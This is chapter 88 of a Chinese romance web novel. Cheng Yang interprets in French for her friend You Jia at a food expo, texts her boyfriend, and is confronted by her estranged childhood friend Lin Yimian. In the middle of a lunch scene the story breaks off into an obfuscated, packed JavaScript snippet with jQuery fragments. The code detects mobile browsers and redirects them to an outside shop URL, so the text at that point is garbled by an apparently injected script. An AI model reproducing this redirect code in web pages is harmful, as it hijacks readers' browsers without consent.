88. 第 88 章
作品:《同频共振》 算起来,因为程漾出众的语言天赋,游佳没少请她帮忙。
高中时追英剧美剧没字幕,程漾帮她翻译。大学选修了法语国际课程,程漾就线上陪着她上课,在她没听明白的地方帮忙复述。
后来游佳逐渐接手公司,开始应酬时有些不适应,偶尔还会让程漾去跟着她一起参加宴会,和一群外国老板打交道,又当翻译又当助理。
只要是程漾答应要帮的忙,就会尽全力去做到,无论高不高兴,喜不喜欢。
而对于别人的请求,她又基本上不会拒绝。
她对每一段感情,都十分珍重,无论是亲情、友情还是爱情。
这点也是认识很久之后,游佳在日积月累的相处中才慢慢明白的。
游佳家庭条件不错,从小身边就不缺朋友,但程漾对她的好,远远超过了她那些以往的任何人,不计得失、不求回报,游佳有时候都会想自己值不值得这份好。
现在也是一样,她自然知道要是程漾来接这个活,肯定能做到最好,也能省了不少事,但她并不想这样,并不想程漾因为要帮她而被迫去做。
游佳看向自己被拉住的手,内心想法纠结,波澜起伏。
等了片刻,她说:“这个还挺麻烦的,到时候那边人多可能还有点乱。”
“你确定想去吗?”
程漾第一次在她脸上看到了犹豫,笑了起来,杏眼里藏着微光,故作思考似的绕着她走了几步,道:
“几个月前我可能不敢答应,不过上次国际论坛都参加了,这个应该没问题。”
以为被误会了,游佳赶紧解释:“我不是说你做不到。”
程漾点点头:“嗯,我知道,那我想去。”
游佳有了答案,跟着她笑。
“行,我同意了,我们一起去,姐姐保证给你最高的时薪。”
程漾其实并不在意酬劳,但听到她这么说,也甜甜地配合道:“谢谢金主姐姐!”
过了会儿,游佳又走过去抱了下她。
-
接下来一周里,程漾把其他事情都暂且搁置,按照游佳给的资料,仔仔细细地准备起博览会的工作。
整个流程其实也不复杂,重要的商贸对接会由游佳的父母出席,游佳需要做的就是和一位熟识的外国合作商交谈,带着他逛逛展览,让他了解自家公司的产品链。
当然,如果能够吸引到更多的买方就更好了。
周五这天,程漾挑了件简单的白衬衫和浅色牛仔裤换上,头发扎成利落的高马尾。她没着太浓的妆,简单扑了个气垫,擦了点唇釉就算完成。
装扮和刚踏入社会的大学生别无二致,清纯又漂亮,只是眼神里多了些成熟。
提前三小时出门,程漾出去前爷爷奶奶正好从房间里出来。
她边在玄关处的柜子上整理资料,边往里面看,无意间又瞥到她隔壁的房间,随口问了句:“奶奶,程祈允昨天回来了吗?”
她忙着工作上的事,几天没和小狗见面,一时间也忘了注意。
奶奶也往房门口看了看,回应道:“回来了,半夜回来的,现在八成还在房间里睡觉。这几天也不知道去干什么了,总是看着累瘦了些。”
“可能是因为保研的事。”程漾顿了顿,又道:“奶奶你别担心,他今天没课了,等回来我问问他。”
奶奶点点头:“好,你也别耽搁自己的事了,路上小心点。”
“知道啦。”
收拾好出了门,游佳已经在外面等她。
车里除了她之外,还多了个当司机的助理,正是说要吃钵钵鸡的那位。
大概是提前交代了,李助也知道程漾是昨天和游佳在一起的人,看到她还有点不好意思。
上车后,程漾先把奶奶做的早点分给游佳一半,对李助打了声招呼后,笑了笑,也分给了他一份。
和朋友一起去上班,路上自然是聊个没完,一直到快要接近会展中心时,程漾为了保护嗓子,才提议停下来休息一会儿。
这么突然一安静,程漾莫名还有点紧张起来,毕竟这次和上回的心境已经不同了。
她看了看窗外,风景无法平复心情,依旧感觉到有点乱,只好又收回视线,装作无事地玩手机。
裴亦舟在这时发来消息。
Orbit:【到展馆了?】
程漾看了看外面的路,回他说:【还没,应该还有半小时的样子】
Orbit:【噢,行】
回完之后,裴亦舟又说:【给你看个东西?】
这句话成功吊起程漾的胃口,她往两边瞧了瞧,确定游佳和李助都没看自己,才回复。
。:【什么?】
发完之后,程漾又想着要不再加问一句“能不能在大庭广众之下看”,不过没等她敲完这一行字,裴亦舟那边已经发了张照片过来。
是一张放在桌上的拍立得。
程漾一眼认出来是他们看彗星那天早上的场景。
她止不住地高兴夸赞:【好看!!!】
。:【是你让人拍的吗?之前怎么没和我说?我还以为那天什么都没留下】
Orbit:【不是】
Orbit:【刺青的男生送的】
Orbit:【几天前想和你说,后来不是有事?醒了没记起来】
程漾当然知道他说的有事是什么意思,耳朵热了些,没再聊这上面的,转移了话题。
。:【那他人还挺好的】
程漾本来以为那男生就是个爱耍嘴皮子的人,因此被他叫了好几次妹妹,她也没说什么,总归没有什么坏心思。
Orbit:【还行】
隔了会儿,裴亦舟又问:【哪好?】
程漾回他:【他帮我们拍了好看的照片,还送给我们了,不好么?而且我记得拍立得相纸还挺贵的】
回完了,等了几分钟裴亦舟那边也没再发过来。
程漾又刷了会儿手机,刚要放下,一条消息跳了出来。
Orbit:【也算不上他送的吧,后来他又要了车里的饼干】
看着像是在单纯地阐述事实,但语气总觉得有些不大对。
饼干是程漾喜欢的,她也知道价格,一盒一百左右。
而裴亦舟要拿东西和人换,绝不可能是随便拿几包搪塞,程漾都不用想,就可以猜到他肯定是给了那男生一整盒。
只是这种事裴亦舟一般也不会和她说。
程漾没忍住笑了下,敲字回复。
。:【他也喜欢那款饼干吗?】
。:【除了我们俩,我还好像还没看到过爱吃这个牌子的人】
。:【看来他还特别的】
几秒后,裴亦舟挺冷淡地回复:【噢】
程漾更加来了兴趣:【怎么不说了?】
Orbit:【聊点别的?】
。:【为什么?】
Orbit:【不为什么】
Orbit:【就是不怎么想聊其他人】
程漾满意了:【那好吧】
。:【虽然他人挺好的,不过毕竟是陌生人,最好的当然还是男朋友】
。:【男朋友天下第一好[抱抱][抱抱]】
不知道那边在做什么,又等了许久,消息才再次传来。
Orbit:【昂,知道了,回来了说一声,去接你】
Orbit:【先去开会了】
怎么这么好哄啊。
心里甜滋滋的,程漾又发了几个抱抱表情包过去。
聊天结束,原本紧张的情绪也被压了下去,平静了许多。
半小时后,程漾和游佳一起进了展馆。三个人先在展厅内逛了一圈,了解了个大概,才再次回到自家展区。
展区挺大,像是个小型厨房,里面主要就是他们家的十几样产品,除了摆在展台上的一些,部分速食还有厨师在边上现做现煮,服务员则负责给来客分发样品试吃。
游佳的父母在这时候给她发来指导,说是那位合作商大概会重点问她们家的热门产品,比如凤爪和鸭脖,要她稍微准备下。
这种事就像是面试时对着hr,提前拿到题准备了答案自然十拿九稳。
游佳对着电话乖乖应下,转头就和助理说:“你让厨师拆了酸梅汤包,煮完后分装成小杯摆过来。”
李助以为游佳没听清楚,又提醒了说:“刚才两位董事长是说着重介绍公司旗下的热销品。”
游佳摆摆手:“我知道,你先让厨师去做。”
毕竟是上级指示,李助照办去了。
游佳侧身问程漾:“你觉得呢?”
程漾:“我相信你。”
游佳打了个响指,笑起来说:“不愧是我闺蜜。”
实际上也不只是相信,来之前游佳就和她说了,合作商对国内传统的饮食文化非常感兴趣,因此程漾也不难猜到,游佳会把重点放在她们公司古法炮制的酸梅汤上。
不过游佳父母的推测也没错,对方会了解到他们,也大概率是因为餐厅和那些热销品。
没多久,一个穿着西装、身材高大的法国人从人群里走过来,看着年纪约莫在四十岁左右。
他停在了展台前,离她们一米左右的位置。
见到游佳和程漾的第一面,卢卡斯脸上露出了笑容,毫不吝啬地赞美道:
“Wow,ils''agitenfaitdedeuxtrèsbellesdames.Jepensequelaconversationd''aujourd''huidevraitbiensepasser.”(哇,居然是这么美丽的两位女士。我想今天的交谈应该会很顺利。)
被人夸没办法不高兴,何况男人的声音还很好听。
程漾先向游佳转述了意思,才道了谢。
起初两个人都只是聊聊对这次食品博览会的看法,后来话题渐渐引入,自然而然说到了他们的合作上。
游佳过去端了样品过来,给他试吃。
卢卡斯尝了一圈之后,目光停在了摆在中间一排酸梅汤上,毫不意外地问了它。
游佳和程漾对视一眼,默不作声地笑了下。
因为有所准备,游佳说,对方提问,程漾翻译,过程无比流畅。一直到聊完制作的所有相关流程,双方才停下来。
解答环节结束,游佳总结性地问对方的感受和意见。
“请问您……”
刚开口,卢卡斯忽地对她说了句抱歉。
游佳和程漾愣了下,心里同时一沉。
她们猜错了?
没等两人分析出原因,紧接着,卢卡斯转向了程漾,对着她笑了笑,说:
“J''aimeraisentendrecequevousavezàdireàcesujet,est-cequecelavousconvient?”(我想听听你的看法,可以吗?)
程漾以前并不是没遇到过这种状况,交谈双方聊天,反而把作为中间人的她牵扯进来。为了不破坏规矩,她往往不会选择参与,表明自己只是转述客户的意思。
只是眼下这个节点,直接拒绝似乎显得并不合适。
程漾看向游佳,游佳果断点了点头,示意她随便说。
程漾没再犹豫,资料她都看过十几遍了,这种问题对她其实没什么难度。
为了显得真实些,她从消费者的角度进行阐述,只是后面没忍住,联系到以前学过的法国文化,把酸梅汤和法国餐桌上经常出现的饮品进行了对比,说了一些观点。
卢卡斯听着不自觉地又露出了笑,全过程认真听完,到了最后只简洁地说了句谢谢程漾尊重他们国家的饮食以及
——“Jechoisiraidetravailleravecvotresociété,merci.”(我会选择你们公司进行合作,感谢。)
紧绷着的身体顿时放松下来,程漾轻呼了口气。
还好。
还好成功了。
接下来的任务简单了许多,只是逛展,游佳和外国人聊天的话题轻快起来,程漾也明显轻松了许多。
走走停停,她不自觉地被游佳和对方交谈时自信的姿态吸引过去。
殊不知,不久前游佳也是这么看着她的。
游佳想让她去说,就是因为觉得,她应该毫无保留地展示自己。
程漾本就该那么耀眼。
-
午餐是在游佳家里开的餐厅吃的,和游佳的母亲一起。
刚在座位上坐下,大老板就盘问起上午的情况,就差让她做个ppt当场汇报了。
游佳喝了一杯果汁,无奈道:“妈你们能让我先歇会儿么?反正最后是成了。”
说完她转头看向程漾,高兴了些,搭着她的肩膀,又道:“漾宝帮了我不少忙。”
游母自然是知道她们之间的关系,嗔怪地看了一眼自家女儿,边说边脱了西装外套放椅子上,身上干练的气质依旧不减分毫。
“你别老是麻烦人家漾漾,打从高中起就没人自律,现在也是。”
游母转头又看向程漾:“多乖的孩子,谢谢你啊,游佳这脾气除了她那个男朋友和你,八成也没几个人受得了。”
毕竟是事实,游佳没话说了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14023136|122770||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,程漾赶紧打圆场:“没有没有,阿姨,我就是帮佳佳转述而已。翻译只是陪衬,重要的还是她和合作商说的话。”
游母笑了笑:“真会说话,谁听了不喜欢。”
没多久,饭菜上来,自家人吃饭不讲规矩,一桌子人边吃边聊。
游母先是说了一顿游佳背着她和她爸谈恋爱的事,说爽快了,又问起了程漾:“漾漾应该还没男朋友吧?你比游佳小两岁,去年你们俩还说开什么单身派对。”
“阿姨还算认识些人,需要帮你介绍吗?当然,条件差的阿姨绝对不会选给你。”
程漾正喝着汤,闻言抬了下头,不好意思地道:“谢谢阿姨,不过我有男朋友了,他挺好的。”
语气瞬间就软了下来。
游母哪能看不出来,不仅有,小情侣感情估摸着也很好。
她没了牵线的心思,笑了笑,又给程漾夹了菜。
三个人热热闹闹吃了一顿,吃到一半,餐桌上的纸用完了。
服务员忙着招呼客人,一时间也叫不过来。
程漾正好饱了,先起身道:“我去前台拿一些吧。”
几十米的距离,转个弯就到了。
和柜台服务员说后,对方看了看座位号,知道是大老板的位置了,冷汗差点吓出来,立即拿了两盒纸巾给她。
程漾拿着纸往回走,边走边往位子那边瞧。
挺奇妙。
就这么一会儿的功夫,餐桌边已经没了人。
游佳给她发了消息。
w佳:【漾宝我和我妈去找经理提刚才的事了,八成是要整改一下,你回来了就先吃,不用等我们】
游母是雷厉风行的性子,程漾能理解,笑了笑,回了个好。
她拿着手机敲字,正巧转角处有人走得匆忙,许是没注意,一不留神撞了下她的胳膊,手上劲一松,纸巾落在了地上。
那人夹着电话往前走,只来得及回头随口说一声:“抱歉抱歉啊。”
顶多是有点麻,也不疼,程漾摆了摆手:“没事。”
她弯腰捡了一盒,起身,才发现另外一盒不见了踪影。
不是一起掉的么?
程漾疑惑地往四周看去,刚向下扫到转角处,一双高跟鞋忽地停在了她面前,与此同时,耳边响起冷淡的一声:
“你的。”
很熟悉的女声。
程漾感觉到心脏猛地撞击了一下,但又很快坠落谷底。
手机误触发出导航的机械电子音,程漾连关的时间都没给,直接往别的地方走。
只是刚迈出一步,就被挡住了路。
那只捏着纸巾盒的手伸到了她面前,手腕上还有程漾熟悉的疤痕。
“你现在要是走,我就直接去你家找你。”
林意眠很直白地看着她,往常温婉的眼神里只剩下坚韧,是必须要找她的决心。
声音也不大,刚好够程漾在繁杂的人群中听得清楚。
程漾知道她不是在说笑,因为这么多年她就是这么做的。
不管去哪,林意眠都会竭尽全力跟着,让她永远不能忘记那些痛苦。
这些天好不容易积攒起来平和被这一句话搅乱,把她再次重重地拖回以前的记忆。
头顶的灯光也仿佛暗了许多,不知道从哪窜出来的冷风吹着手,连带着身上都感觉到寒意。
程漾压下心中的翻滚,攥紧了手,但依旧苍白无力,语气很轻地问她:“你想做什么?”
她已经尽力去避开了,为什么还要一次又一次地找上来?
尽管许久没这么正脸对视过,程漾仍然不可避免地把眼前的人和小时候联系在一起,从她身上看到很多许久以前的影子。
然而早就过去了。
她们早就不是朋友了。
甚至是对立面的敌人。
那股说不明的感觉再次涌了上来,程漾很不好受。
她闭了闭眼,强迫自己去想一些好一点的事情,像是之前裴亦舟把她搂在怀里心疼地安慰。
那点难受又慢慢减轻了些。
看她没走了,林意眠才开口:“上次是你给我喂的药吧?”
在餐厅发病那次,事发突然,林意眠只在迷迷糊糊之间有人过来照顾。因为是聚餐,她也一直以为是那些半生不熟的同事,后来才从别人口中得知是程漾。
“你为什么不说?”
程漾轻呼了口气,道:“是谁不都一样吗?说了也没什么意义。就算是陌生人躺在那,我也会这么做。”
没了熟人的围观,卸下伪装,她们之间只剩下剑拔弩张。
林意眠笑了笑:“那我可不是陌生人,我现在依旧很恨你。”
“这么多年了,你应该已经很清楚了,是你和你爸妈毁了我们家。”
“但我已经厌倦了。”
林意眠看了看她,许久,才说:“所以就当这个抵你的债吧。”
“我以后不会再找你了。”
-
从经理办公室出来,游佳先给程漾发了消息,没回。
她莫名有种不舒服的感觉,游佳快速走到餐厅里,直到看见程漾好好地坐在那,才放心下来。
游母紧随其后,没注意到女儿的神情,自顾自地和她说起刚才的事:
“我刚在洗手间碰到那女孩子了,和你说过的,你还记不记得?她哥是医生,帮我做过手术,她是翻译员,和漾漾一样,今天八成也是来参加博览会的。”
游佳回了句“不记得”就小跑回了座位。
她仔细盯着程漾看了看,说:“我怎么看你脸色不太好?生理期?”
没等程漾回答,游佳又道:“不对,你生理期不和我差不多时间吗?应该过了啊。”
看她紧张地左看右看,程漾笑了下,嘴唇发白地说:“不是,刚不小心吃到了芥末,有点难受。”
游佳赶紧给她倒了杯温水。
“你吃不惯,那以后再也不点这道了。”
程漾喝着水点头:“好。”
一顿饭吃完,照例是李助送她们回去,车先开到了程漾家的小区。
分别后,程漾进屋上楼,没让家里人发现。
关了门,她坐在床上,深吸了一口气,压着微微颤抖的手,努力让自己冷静下来,但是这一次无论如何都没有用了。
一点用都没有。
所有的记忆如同潮水般的涌来,将她淹没。
从下午一直坐到天黑,程漾蜷缩在房间里的角落。
直到手机“叮”的一声响。
Orbit:【还没到家么?】
Orbit:【我看游佳回来了】